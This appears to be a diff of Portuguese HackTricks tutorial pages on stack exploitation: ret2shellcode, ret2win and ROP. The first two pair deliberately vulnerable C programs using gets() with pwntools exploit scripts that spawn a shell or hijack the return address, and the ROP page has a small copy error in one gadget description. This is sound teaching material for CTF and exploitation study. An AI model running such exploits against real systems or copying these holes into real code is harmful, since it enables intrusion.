[common-binary-protections](../common-binary-protections/)
{% endcontent-ref %}
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,107 @@
# Ret2Shellcode
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informações Básicas
**Ret2shellcode** é uma técnica usada na exploração binária onde um atacante escreve shellcode na pilha de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma explicação do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
### Exemplo em C: Um Programa Vulnerável
Vamos começar com um exemplo simples de um programa vulnerável em C:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Este programa é vulnerável a um estouro de buffer devido ao uso da função `gets()`.
### Compilação
Para compilar este programa desabilitando várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Desativa a proteção de pilha.
* `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
* `-no-pie`: Desativa o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
* `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado para simplificar o desenvolvimento de exploits.
### Exploração em Python usando Pwntools
Veja como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
Este script constrói um payload consistindo de um **slide NOP**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o slide NOP, garantindo que o shellcode seja executado.
O **slide NOP** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço de início do seu buffer mais um deslocamento para aterrissar no slide NOP.
## Proteções
* [**ASLR**](../common-binary-protections/aslr.md) **deve ser desativado** para que o endereço seja confiável em todas as execuções, ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum vazamento para descobrir onde a função win está carregada.
* [**Canários de Pilha**](../common-binary-protections/stack-canaries.md) também devem ser desativados, ou o endereço de retorno comprometido do EIP nunca será seguido.
* [**NX**](../common-binary-protections/no-exec-nx.md) a proteção de **stack** impediria a execução do shellcode dentro da pilha, pois essa região não seria executável.
## Outros Exemplos
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,103 @@
# Ret2win
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informação Básica
Os desafios **Ret2win** são uma categoria popular em competições de **Capture The Flag (CTF)**, especialmente em tarefas que envolvem **exploração binária**. O objetivo é explorar uma vulnerabilidade em um binário fornecido para executar uma função específica e não solicitada dentro do binário, frequentemente chamada de `win`, `ret2win`, etc. Essa função, quando executada, geralmente imprime uma bandeira ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
### Exemplo em C
Considere um programa C simples com uma vulnerabilidade e uma função `win` que pretendemos chamar:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
Para compilar este programa sem proteções de pilha e com **ASLR** desativado, você pode usar o seguinte comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Compilar o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).
* `-fno-stack-protector`: Desativar proteções contra estouro de pilha.
* `-z execstack`: Permitir a execução de código na pilha.
* `-no-pie`: Desativar Executável Independente de Posição para garantir que o endereço da função `win` não mude.
* `-o vulnerable`: Nomear o arquivo de saída como `vulnerable`.
### Exploração em Python usando Pwntools
Para a exploração, vamos usar o **pwntools**, um poderoso framework CTF para escrever exploits. O script de exploit criará um payload para estourar o buffer e sobrescrever o endereço de retorno com o endereço da função `win`.
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
Para encontrar o endereço da função `win`, você pode usar **gdb**, **objdump**, ou qualquer outra ferramenta que permita inspecionar arquivos binários. Por exemplo, com `objdump`, você poderia usar:
```sh
objdump -d vulnerable | grep win
```
Este comando mostrará o assembly da função `win`, incluindo o seu endereço de início.
O script Python envia uma mensagem cuidadosamente elaborada que, ao ser processada pela `vulnerable_function`, causa um estouro de buffer e sobrescreve o endereço de retorno na pilha com o endereço de `win`. Quando a `vulnerable_function` retorna, em vez de retornar para `main` ou sair, ela salta para `win`, e a mensagem é impressa.
## Proteções
* [**ASLR**](../common-binary-protections/aslr.md) **deve ser desativado** para que o endereço seja confiável em todas as execuções, caso contrário, o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum vazamento para descobrir onde a função win está carregada.
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) também devem ser desativados, caso contrário, o endereço de retorno comprometido não será seguido.
## Outros exemplos
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,88 @@
# ROP - Programação Orientada a Retorno
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks Especialista em Equipe Vermelha AWS)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## **Informações Básicas**
**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Prevenção de Execução de Dados (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget geralmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir uma carga útil para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP.
### Convenções de Chamada
Compreender as **convenções de chamada** é crucial para construir cadeias ROP eficazes, especialmente ao chamar funções ou manipular dados:
**x86 (32 bits)**
* **cdecl**: O chamador limpa a pilha. Os argumentos da função são empurrados para a pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empurrados para a pilha da direita para a esquerda.**
* **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.
**x64 (64 bits)**
* Usa a convenção de chamada **System V AMD64 ABI** em sistemas semelhantes ao Unix, onde os **primeiros seis argumentos inteiros ou de ponteiro são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
* A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou de ponteiro, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
* **Registradores**: Os registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
{% hint style="danger" %}
A partir dessas convenções de chamada, é possível observar que em **32 bits os argumentos** das funções são **passados pela pilha** enquanto em **x64** eles são **colocados em registradores específicos**.
{% endhint %}
### Como ROP Funciona
1. **Sequestro de Fluxo de Controle**: Primeiramente, um atacante precisa sequestrar o fluxo de controle de um programa, geralmente explorando um estouro de buffer para sobrescrever um endereço de retorno salvo na pilha.
2. **Encadeamento de Gadgets**: O atacante então seleciona cuidadosamente e encadeia gadgets para realizar as ações desejadas. Isso pode envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`), e lidar com qualquer limpeza necessária ou operações adicionais.
3. **Execução da Carga Útil**: Quando a função vulnerável retorna, em vez de retornar para uma localização legítima, ela começa a executar a cadeia de gadgets.
### Cadeia ROP em x86
Vamos considerar um cenário hipotético onde queremos chamar `system("/bin/sh")` usando ROP em um binário de 32 bits:
1. **Encontrar Gadgets**: Suponha que encontramos os seguintes gadgets no binário ou em bibliotecas carregadas:
* `pop eax; ret`: Desempilha o topo da pilha em `EAX` e retorna.
* `pop ebx; ret`: Desempilha o topo da pilha em `EAX` e retorna.
* `mov [ebx], eax; ret`: Move o valor em `EAX` para a localização apontada por `EBX`.
* O endereço do `system`.
2. **Preparar a Cadeia**: Precisamos preparar uma pilha que se pareça com isso:
* O endereço do gadget que define `EBX`.
* O endereço do gadget `pop eax; ret`.
* O endereço da string `"/bin/sh"` na memória (ou onde planejamos escrevê-la).
* O endereço do gadget `mov [ebx], eax; ret`, para mover `"/bin/sh"` para a localização apontada por `EBX`.
* O endereço da função `system`, com `EBX` apontando para nossa string.
3. **Execução**: Quando a função vulnerável retorna, ela começa a executar nossa cadeia de gadgets, eventualmente chamando `system("/bin/sh")` e abrindo um shell.
### ROP em x64
Considere um cenário hipotético onde você deseja chamar `execve("/bin/sh", NULL, NULL)` em um sistema x64 usando a convenção de chamada System V AMD64 ABI:
1. **Encontrar Gadgets**: Primeiramente, você precisaria encontrar gadgets que permitam controlar os registradores `RDI`, `RSI` e `RDX`, pois estes conterão os argumentos para `execve`.
2. **Construção da Cadeia**:
* **Definir `RDI` para apontar para a string `"/bin/sh"`**: Isso é tipicamente feito com um gadget `pop RDI; ret` seguido pelo endereço da string (que pode precisar ser colocada na carga útil ou encontrada na memória).
* **Zerar `RSI` e `RDX`**: Como os segundo e terceiro argumentos para `execve` são `NULL`, você precisa de gadgets para zerar esses registradores, como `xor RSI, RSI; ret` e `xor RDX, RDX; ret`.
* **Chamar `execve`**: Por fim, é necessário um gadget que salte para `execve` (ou o chame indiretamente).
3. **Execução da Carga Útil**: Após construir e enviar essa carga útil para uma aplicação vulnerável, a cadeia ROP é executada, abrindo um shell.
Como o x64 usa registradores para os primeiros argumentos, muitas vezes requer menos gadgets do que o x86 para chamadas de função simples, mas encontrar e encadear os gadgets corretos pode ser mais complexo devido ao aumento do número de registradores e ao maior espaço de endereço. O aumento do número de registradores e do espaço de endereço maior na arquitetura **x64** oferece tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto da Programação Orientada a Retorno (ROP).
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks Especialista em Equipe Vermelha AWS)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>